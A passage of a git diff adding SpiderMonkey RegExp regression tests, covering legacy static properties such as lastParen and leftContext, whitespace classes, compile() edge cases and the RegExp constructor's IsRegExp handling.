+// 'xxx'.match(/$/); RegExp['$&']
+'xxx'.match(/$/);
+new TestCase ( "'xxx'.match(/$/); RegExp['$&']",
+ '', RegExp['$&']);
+
+// 'abcdefg'.match(/^..(cd)[a-z]+/); RegExp['$&']
+'abcdefg'.match(/^..(cd)[a-z]+/);
+new TestCase ( "'abcdefg'.match(/^..(cd)[a-z]+/); RegExp['$&']",
+ 'abcdefg', RegExp['$&']);
+
+// 'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/); RegExp['$&']
+'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/);
+new TestCase ( "'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\\1/); RegExp['$&']",
+ 'abcdefgabcdefg', RegExp['$&']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastParen.js b/js/src/tests/non262/RegExp/RegExp_lastParen.js
new file mode 100644
index 0000000000..06f9d6c524
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastParen.js
@@ -0,0 +1,66 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastParen.js
+ Description: 'Tests RegExps lastParen property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: lastParen';
+
+writeHeaderToLog('Executing script: RegExp_lastParen.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcd'.match(/(abc)d/); RegExp.lastParen
+'abcd'.match(/(abc)d/);
+new TestCase ( "'abcd'.match(/(abc)d/); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcd'.match(new RegExp('(abc)d')); RegExp.lastParen
+'abcd'.match(new RegExp('(abc)d'));
+new TestCase ( "'abcd'.match(new RegExp('(abc)d')); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcd'.match(/(bcd)e/); RegExp.lastParen
+'abcd'.match(/(bcd)e/);
+new TestCase ( "'abcd'.match(/(bcd)e/); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp.lastParen
+'abcdefg'.match(/(a(b(c(d)e)f)g)/);
+new TestCase ( "'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp.lastParen",
+ 'd', RegExp.lastParen);
+
+// 'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp.lastParen
+'abcdefg'.match(/(a(b)c)(d(e)f)/);
+new TestCase ( "'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp.lastParen",
+ 'e', RegExp.lastParen);
+
+// 'abcdefg'.match(/(^)abc/); RegExp.lastParen
+'abcdefg'.match(/(^)abc/);
+new TestCase ( "'abcdefg'.match(/(^)abc/); RegExp.lastParen",
+ '', RegExp.lastParen);
+
+// 'abcdefg'.match(/(^a)bc/); RegExp.lastParen
+'abcdefg'.match(/(^a)bc/);
+new TestCase ( "'abcdefg'.match(/(^a)bc/); RegExp.lastParen",
+ 'a', RegExp.lastParen);
+
+// 'abcdefg'.match(new RegExp('(^a)bc')); RegExp.lastParen
+'abcdefg'.match(new RegExp('(^a)bc'));
+new TestCase ( "'abcdefg'.match(new RegExp('(^a)bc')); RegExp.lastParen",
+ 'a', RegExp.lastParen);
+
+// 'abcdefg'.match(/bc/); RegExp.lastParen
+'abcdefg'.match(/bc/);
+new TestCase ( "'abcdefg'.match(/bc/); RegExp.lastParen",
+ '', RegExp.lastParen);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js b/js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js
new file mode 100644
index 0000000000..4a5663ab67
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js
@@ -0,0 +1,66 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastParen_as_array.js
+ Description: 'Tests RegExps $+ property (same tests as RegExp_lastParen.js but using $+)'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $+';
+
+writeHeaderToLog('Executing script: RegExp_lastParen_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcd'.match(/(abc)d/); RegExp['$+']
+'abcd'.match(/(abc)d/);
+new TestCase ( "'abcd'.match(/(abc)d/); RegExp['$+']",
+ 'abc', RegExp['$+']);
+
+// 'abcd'.match(/(bcd)e/); RegExp['$+']
+'abcd'.match(/(bcd)e/);
+new TestCase ( "'abcd'.match(/(bcd)e/); RegExp['$+']",
+ 'abc', RegExp['$+']);
+
+// 'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp['$+']
+'abcdefg'.match(/(a(b(c(d)e)f)g)/);
+new TestCase ( "'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp['$+']",
+ 'd', RegExp['$+']);
+
+// 'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)')); RegExp['$+']
+'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)'));
+new TestCase ( "'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)')); RegExp['$+']",
+ 'd', RegExp['$+']);
+
+// 'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp['$+']
+'abcdefg'.match(/(a(b)c)(d(e)f)/);
+new TestCase ( "'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp['$+']",
+ 'e', RegExp['$+']);
+
+// 'abcdefg'.match(/(^)abc/); RegExp['$+']
+'abcdefg'.match(/(^)abc/);
+new TestCase ( "'abcdefg'.match(/(^)abc/); RegExp['$+']",
+ '', RegExp['$+']);
+
+// 'abcdefg'.match(/(^a)bc/); RegExp['$+']
+'abcdefg'.match(/(^a)bc/);
+new TestCase ( "'abcdefg'.match(/(^a)bc/); RegExp['$+']",
+ 'a', RegExp['$+']);
+
+// 'abcdefg'.match(new RegExp('(^a)bc')); RegExp['$+']
+'abcdefg'.match(new RegExp('(^a)bc'));
+new TestCase ( "'abcdefg'.match(new RegExp('(^a)bc')); RegExp['$+']",
+ 'a', RegExp['$+']);
+
+// 'abcdefg'.match(/bc/); RegExp['$+']
+'abcdefg'.match(/bc/);
+new TestCase ( "'abcdefg'.match(/bc/); RegExp['$+']",
+ '', RegExp['$+']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_leftContext.js b/js/src/tests/non262/RegExp/RegExp_leftContext.js
new file mode 100644
index 0000000000..616f0a3e00
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_leftContext.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_leftContext.js
+ Description: 'Tests RegExps leftContext property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: leftContext';
+
+writeHeaderToLog('Executing script: RegExp_leftContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp.leftContext
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp.leftContext",
+ 'abc', RegExp.leftContext);
+
+// 'abc123xyz'.match(/456/); RegExp.leftContext
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp.leftContext",
+ 'abc', RegExp.leftContext);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp.leftContext
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+// 'xxxx'.match(/$/); RegExp.leftContext
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp.leftContext",
+ 'xxxx', RegExp.leftContext);
+
+// 'test'.match(/^/); RegExp.leftContext
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+// 'xxxx'.match(new RegExp('$')); RegExp.leftContext
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp.leftContext",
+ 'xxxx', RegExp.leftContext);
+
+// 'test'.match(new RegExp('^')); RegExp.leftContext
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp.leftContext",
+ '', RegExp.leftContext);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js b/js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js
new file mode 100644
index 0000000000..04e7948476
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_leftContext_as_array.js
+ Description: 'Tests RegExps leftContext property (same tests as RegExp_leftContext.js but using $`)'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $`';
+
+writeHeaderToLog('Executing script: RegExp_leftContext_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp['$`']
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp['$`']",
+ 'abc', RegExp['$`']);
+
+// 'abc123xyz'.match(/456/); RegExp['$`']
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp['$`']",
+ 'abc', RegExp['$`']);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp['$`']
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp['$`']",
+ '', RegExp['$`']);
+
+// 'xxxx'.match(/$/); RegExp['$`']
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp['$`']",
+ 'xxxx', RegExp['$`']);
+
+// 'test'.match(/^/); RegExp['$`']
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp['$`']",
+ '', RegExp['$`']);
+
+// 'xxxx'.match(new RegExp('$')); RegExp['$`']
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp['$`']",
+ 'xxxx', RegExp['$`']);
+
+// 'test'.match(new RegExp('^')); RegExp['$`']
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp['$`']",
+ '', RegExp['$`']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_object.js b/js/src/tests/non262/RegExp/RegExp_object.js
new file mode 100644
index 0000000000..69fe4946ad
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_object.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_object.js
+ Description: 'Tests regular expressions creating RexExp Objects'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: object';
+
+writeHeaderToLog('Executing script: RegExp_object.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var SSN_pattern = new RegExp("\\d{3}-\\d{2}-\\d{4}");
+
+// testing SSN pattern
+new TestCase ( "'Test SSN is 123-34-4567'.match(SSN_pattern))",
+ String(["123-34-4567"]), String('Test SSN is 123-34-4567'.match(SSN_pattern)));
+
+// testing SSN pattern
+new TestCase ( "'Test SSN is 123-34-4567'.match(SSN_pattern))",
+ String(["123-34-4567"]), String('Test SSN is 123-34-4567'.match(SSN_pattern)));
+
+var PHONE_pattern = new RegExp("\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})");
+// testing PHONE pattern
+new TestCase ( "'Our phone number is (408)345-2345.'.match(PHONE_pattern))",
+ String(["(408)345-2345","408","345","2345"]), String('Our phone number is (408)345-2345.'.match(PHONE_pattern)));
+
+// testing PHONE pattern
+new TestCase ( "'The phone number is 408-345-2345!'.match(PHONE_pattern))",
+ String(["408-345-2345","408","345","2345"]), String('The phone number is 408-345-2345!'.match(PHONE_pattern)));
+
+// testing PHONE pattern
+new TestCase ( "String(PHONE_pattern.toString())",
+ "/\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})/", String(PHONE_pattern.toString()));
+
+// testing conversion to String
+new TestCase ( "PHONE_pattern + ' is the string'",
+ "/\\(?(\\d{3})\\)?-?(\\d{3})-(\\d{4})/ is the string",PHONE_pattern + ' is the string');
+
+// testing conversion to int
+new TestCase ( "SSN_pattern - 8",
+ NaN,SSN_pattern - 8);
+
+var testPattern = new RegExp("(\\d+)45(\\d+)90");
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_rightContext.js b/js/src/tests/non262/RegExp/RegExp_rightContext.js
new file mode 100644
index 0000000000..131e989ad1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_rightContext.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_rightContext.js
+ Description: 'Tests RegExps rightContext property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: rightContext';
+
+writeHeaderToLog('Executing script: RegExp_rightContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp.rightContext
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp.rightContext",
+ 'xyz', RegExp.rightContext);
+
+// 'abc123xyz'.match(/456/); RegExp.rightContext
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp.rightContext",
+ 'xyz', RegExp.rightContext);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp.rightContext
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'xxxx'.match(/$/); RegExp.rightContext
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'test'.match(/^/); RegExp.rightContext
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp.rightContext",
+ 'test', RegExp.rightContext);
+
+// 'xxxx'.match(new RegExp('$')); RegExp.rightContext
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp.rightContext",
+ '', RegExp.rightContext);
+
+// 'test'.match(new RegExp('^')); RegExp.rightContext
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp.rightContext",
+ 'test', RegExp.rightContext);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js b/js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js
new file mode 100644
index 0000000000..34dbcaac4d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_rightContext_as_array.js
+ Description: 'Tests RegExps $\' property (same tests as RegExp_rightContext.js but using $\)'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $\'';
+
+writeHeaderToLog('Executing script: RegExp_rightContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp['$\'']
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp['$\'']",
+ 'xyz', RegExp['$\'']);
+
+// 'abc123xyz'.match(/456/); RegExp['$\'']
+'abc123xyz'.match(/456/);
+new TestCase ( "'abc123xyz'.match(/456/); RegExp['$\'']",
+ 'xyz', RegExp['$\'']);
+
+// 'abc123xyz'.match(/abc123xyz/); RegExp['$\'']
+'abc123xyz'.match(/abc123xyz/);
+new TestCase ( "'abc123xyz'.match(/abc123xyz/); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'xxxx'.match(/$/); RegExp['$\'']
+'xxxx'.match(/$/);
+new TestCase ( "'xxxx'.match(/$/); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'test'.match(/^/); RegExp['$\'']
+'test'.match(/^/);
+new TestCase ( "'test'.match(/^/); RegExp['$\'']",
+ 'test', RegExp['$\'']);
+
+// 'xxxx'.match(new RegExp('$')); RegExp['$\'']
+'xxxx'.match(new RegExp('$'));
+new TestCase ( "'xxxx'.match(new RegExp('$')); RegExp['$\'']",
+ '', RegExp['$\'']);
+
+// 'test'.match(new RegExp('^')); RegExp['$\'']
+'test'.match(new RegExp('^'));
+new TestCase ( "'test'.match(new RegExp('^')); RegExp['$\'']",
+ 'test', RegExp['$\'']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/browser.js b/js/src/tests/non262/RegExp/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/browser.js
diff --git a/js/src/tests/non262/RegExp/character-class-escape-s.js b/js/src/tests/non262/RegExp/character-class-escape-s.js
new file mode 100644
index 0000000000..88514c4dda
--- /dev/null
+++ b/js/src/tests/non262/RegExp/character-class-escape-s.js
@@ -0,0 +1,54 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 15.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var onlySpace = String.fromCodePoint(
+ 0x0009 /* <control> (CHARACTER TABULATION) */,
+ 0x000A /* <control> (LINE FEED (LF)) */,
+ 0x000B /* <control> (LINE TABULATION) */,
+ 0x000C /* <control> (FORM FEED (FF)) */,
+ 0x000D /* <control> (CARRIAGE RETURN (CR)) */,
+ 0x0020 /* SPACE */,
+ 0x00A0 /* NO-BREAK SPACE (NON-BREAKING SPACE) */,
+ 0x1680 /* OGHAM SPACE MARK */,
+ 0x2000 /* EN QUAD */,
+ 0x2001 /* EM QUAD */,
+ 0x2002 /* EN SPACE */,
+ 0x2003 /* EM SPACE */,
+ 0x2004 /* THREE-PER-EM SPACE */,
+ 0x2005 /* FOUR-PER-EM SPACE */,
+ 0x2006 /* SIX-PER-EM SPACE */,
+ 0x2007 /* FIGURE SPACE */,
+ 0x2008 /* PUNCTUATION SPACE */,
+ 0x2009 /* THIN SPACE */,
+ 0x200A /* HAIR SPACE */,
+ 0x2028 /* LINE SEPARATOR */,
+ 0x2029 /* PARAGRAPH SEPARATOR */,
+ 0x202F /* NARROW NO-BREAK SPACE */,
+ 0x205F /* MEDIUM MATHEMATICAL SPACE */,
+ 0x3000 /* IDEOGRAPHIC SPACE */,
+ 0xFEFF /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+);
+
+assertEq(/^\s+$/.exec(onlySpace) !== null, true);
+assertEq(/^[\s]+$/.exec(onlySpace) !== null, true);
+assertEq(/^[^\s]+$/.exec(onlySpace) === null, true);
+
+assertEq(/^\S+$/.exec(onlySpace) === null, true);
+assertEq(/^[\S]+$/.exec(onlySpace) === null, true);
+assertEq(/^[^\S]+$/.exec(onlySpace) !== null, true);
+
+// Also test with Unicode RegExps.
+assertEq(/^\s+$/u.exec(onlySpace) !== null, true);
+assertEq(/^[\s]+$/u.exec(onlySpace) !== null, true);
+assertEq(/^[^\s]+$/u.exec(onlySpace) === null, true);
+
+assertEq(/^\S+$/u.exec(onlySpace) === null, true);
+assertEq(/^[\S]+$/u.exec(onlySpace) === null, true);
+assertEq(/^[^\S]+$/u.exec(onlySpace) !== null, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js b/js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js
new file mode 100644
index 0000000000..d7a8b980da
--- /dev/null
+++ b/js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js
@@ -0,0 +1,25 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var mongolian_vowel_separator = "\u180e";
+
+assertEq(/^\s+$/.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[\s]+$/.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[^\s]+$/.exec(mongolian_vowel_separator) !== null, true);
+
+assertEq(/^\S+$/.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[\S]+$/.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[^\S]+$/.exec(mongolian_vowel_separator) === null, true);
+
+// Also test with Unicode RegExps.
+assertEq(/^\s+$/u.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[\s]+$/u.exec(mongolian_vowel_separator) === null, true);
+assertEq(/^[^\s]+$/u.exec(mongolian_vowel_separator) !== null, true);
+
+assertEq(/^\S+$/u.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[\S]+$/u.exec(mongolian_vowel_separator) !== null, true);
+assertEq(/^[^\S]+$/u.exec(mongolian_vowel_separator) === null, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/class-null.js b/js/src/tests/non262/RegExp/class-null.js
new file mode 100644
index 0000000000..c95e5a4d79
--- /dev/null
+++ b/js/src/tests/non262/RegExp/class-null.js
@@ -0,0 +1,15 @@
+var BUGNUMBER = 1279467;
+var summary = "Null in character class in RegExp with unicode flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+var m = /([\0]+)/u.exec("\u0000");
+assertEq(m.length, 2);
+assertEq(m[0], '\u0000');
+assertEq(m[1], '\u0000');
+
+var m = /([\0]+)/u.exec("0");
+assertEq(m, null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/compile-lastIndex.js b/js/src/tests/non262/RegExp/compile-lastIndex.js
new file mode 100644
index 0000000000..5bd7e0b983
--- /dev/null
+++ b/js/src/tests/non262/RegExp/compile-lastIndex.js
@@ -0,0 +1,82 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1253099;
+var summary =
+ "RegExp.prototype.compile must perform all its steps *except* setting " +
+ ".lastIndex, then throw, when provided a RegExp whose .lastIndex has been " +
+ "made non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var regex = /foo/i;
+
+// Aside from making .lastIndex non-writable, this has one incidental effect
+// ubiquitously tested through the remainder of this test:
+//
+// * RegExp.prototype.compile will do everything it ordinarily does, BUT it
+// will throw a TypeError when attempting to zero .lastIndex immediately
+// before succeeding overall.
+//
+// Ain't it great?
+Object.defineProperty(regex, "lastIndex", { value: 42, writable: false });
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, true);
+assertEq(regex.multiline, false);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+
+assertEq(regex.test("foo"), true);
+assertEq(regex.test("FOO"), true);
+assertEq(regex.test("bar"), false);
+assertEq(regex.test("BAR"), false);
+
+assertThrowsInstanceOf(() => regex.compile("bar"), TypeError);
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, false);
+assertEq(regex.multiline, false);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+assertEq(regex.test("foo"), false);
+assertEq(regex.test("FOO"), false);
+assertEq(regex.test("bar"), true);
+assertEq(regex.test("BAR"), false);
+
+assertThrowsInstanceOf(() => regex.compile("^baz", "m"), TypeError);
+
+assertEq(regex.global, false);
+assertEq(regex.ignoreCase, false);
+assertEq(regex.multiline, true);
+assertEq(regex.unicode, false);
+assertEq(regex.sticky, false);
+assertEq(Object.getOwnPropertyDescriptor(regex, "lastIndex").writable, false);
+assertEq(regex.lastIndex, 42);
+assertEq(regex.test("foo"), false);
+assertEq(regex.test("FOO"), false);
+assertEq(regex.test("bar"), false);
+assertEq(regex.test("BAR"), false);
+assertEq(regex.test("baz"), true);
+assertEq(regex.test("BAZ"), false);
+assertEq(regex.test("012345678901234567890123456789012345678901baz"), false);
+assertEq(regex.test("012345678901234567890123456789012345678901\nbaz"), true);
+assertEq(regex.test("012345678901234567890123456789012345678901BAZ"), false);
+assertEq(regex.test("012345678901234567890123456789012345678901\nBAZ"), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/RegExp/compile-symbol.js b/js/src/tests/non262/RegExp/compile-symbol.js
new file mode 100644
index 0000000000..9eea1124c8
--- /dev/null
+++ b/js/src/tests/non262/RegExp/compile-symbol.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+for (let sym of [Symbol.iterator, Symbol(), Symbol("description")]) {
+ let re = /a/;
+
+ assertEq(re.source, "a");
+ assertThrowsInstanceOf(() => re.compile(sym), TypeError);
+ assertEq(re.source, "a");
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/constructor-IsRegExp.js b/js/src/tests/non262/RegExp/constructor-IsRegExp.js
new file mode 100644
index 0000000000..8c735e4b97
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-IsRegExp.js
@@ -0,0 +1,86 @@
+var BUGNUMBER = 1147817;
+var summary = "RegExp constructor with pattern with @@match.";
+
+print(BUGNUMBER + ": " + summary);
+
+var matchValue;
+var constructorValue;
+
+var matchGet;
+var constructorGet;
+var sourceGet;
+var flagsGet;
+function reset() {
+ matchGet = false;
+ constructorGet = false;
+ sourceGet = false;
+ flagsGet = false;
+}
+var obj = {
+ get [Symbol.match]() {
+ matchGet = true;
+ return matchValue;
+ },
+ get constructor() {
+ constructorGet = true;
+ return constructorValue;
+ },
+ get source() {
+ sourceGet = true;
+ return "foo";
+ },
+ get flags() {
+ flagsGet = true;
+ return "i";
+ },
+ toString() {
+ return "bar";
+ }
+};
+
+matchValue = true;
+constructorValue = function() {};
+
+reset();
+assertEq(RegExp(obj).toString(), "/foo/i");
+assertEq(matchGet, true);
+assertEq(constructorGet, true);
+assertEq(sourceGet, true);
+assertEq(flagsGet, true);
+
+reset();
+assertEq(RegExp(obj, "g").toString(), "/foo/g");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, true);
+assertEq(flagsGet, false);
+
+matchValue = false;
+constructorValue = function() {};
+
+reset();
+assertEq(RegExp(obj).toString(), "/bar/");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+reset();
+assertEq(RegExp(obj, "g").toString(), "/bar/g");
+assertEq(matchGet, true);
+assertEq(constructorGet, false);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+matchValue = true;
+constructorValue = RegExp;
+
+reset();
+assertEq(RegExp(obj), obj);
+assertEq(matchGet, true);
+assertEq(constructorGet, true);
+assertEq(sourceGet, false);
+assertEq(flagsGet, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-constructor.js b/js/src/tests/non262/RegExp/constructor-constructor.js
new file mode 100644
index 0000000000..528f4978c2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-constructor.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 1147817;
+var summary = "RegExp constructor should check pattern.constructor.";
+
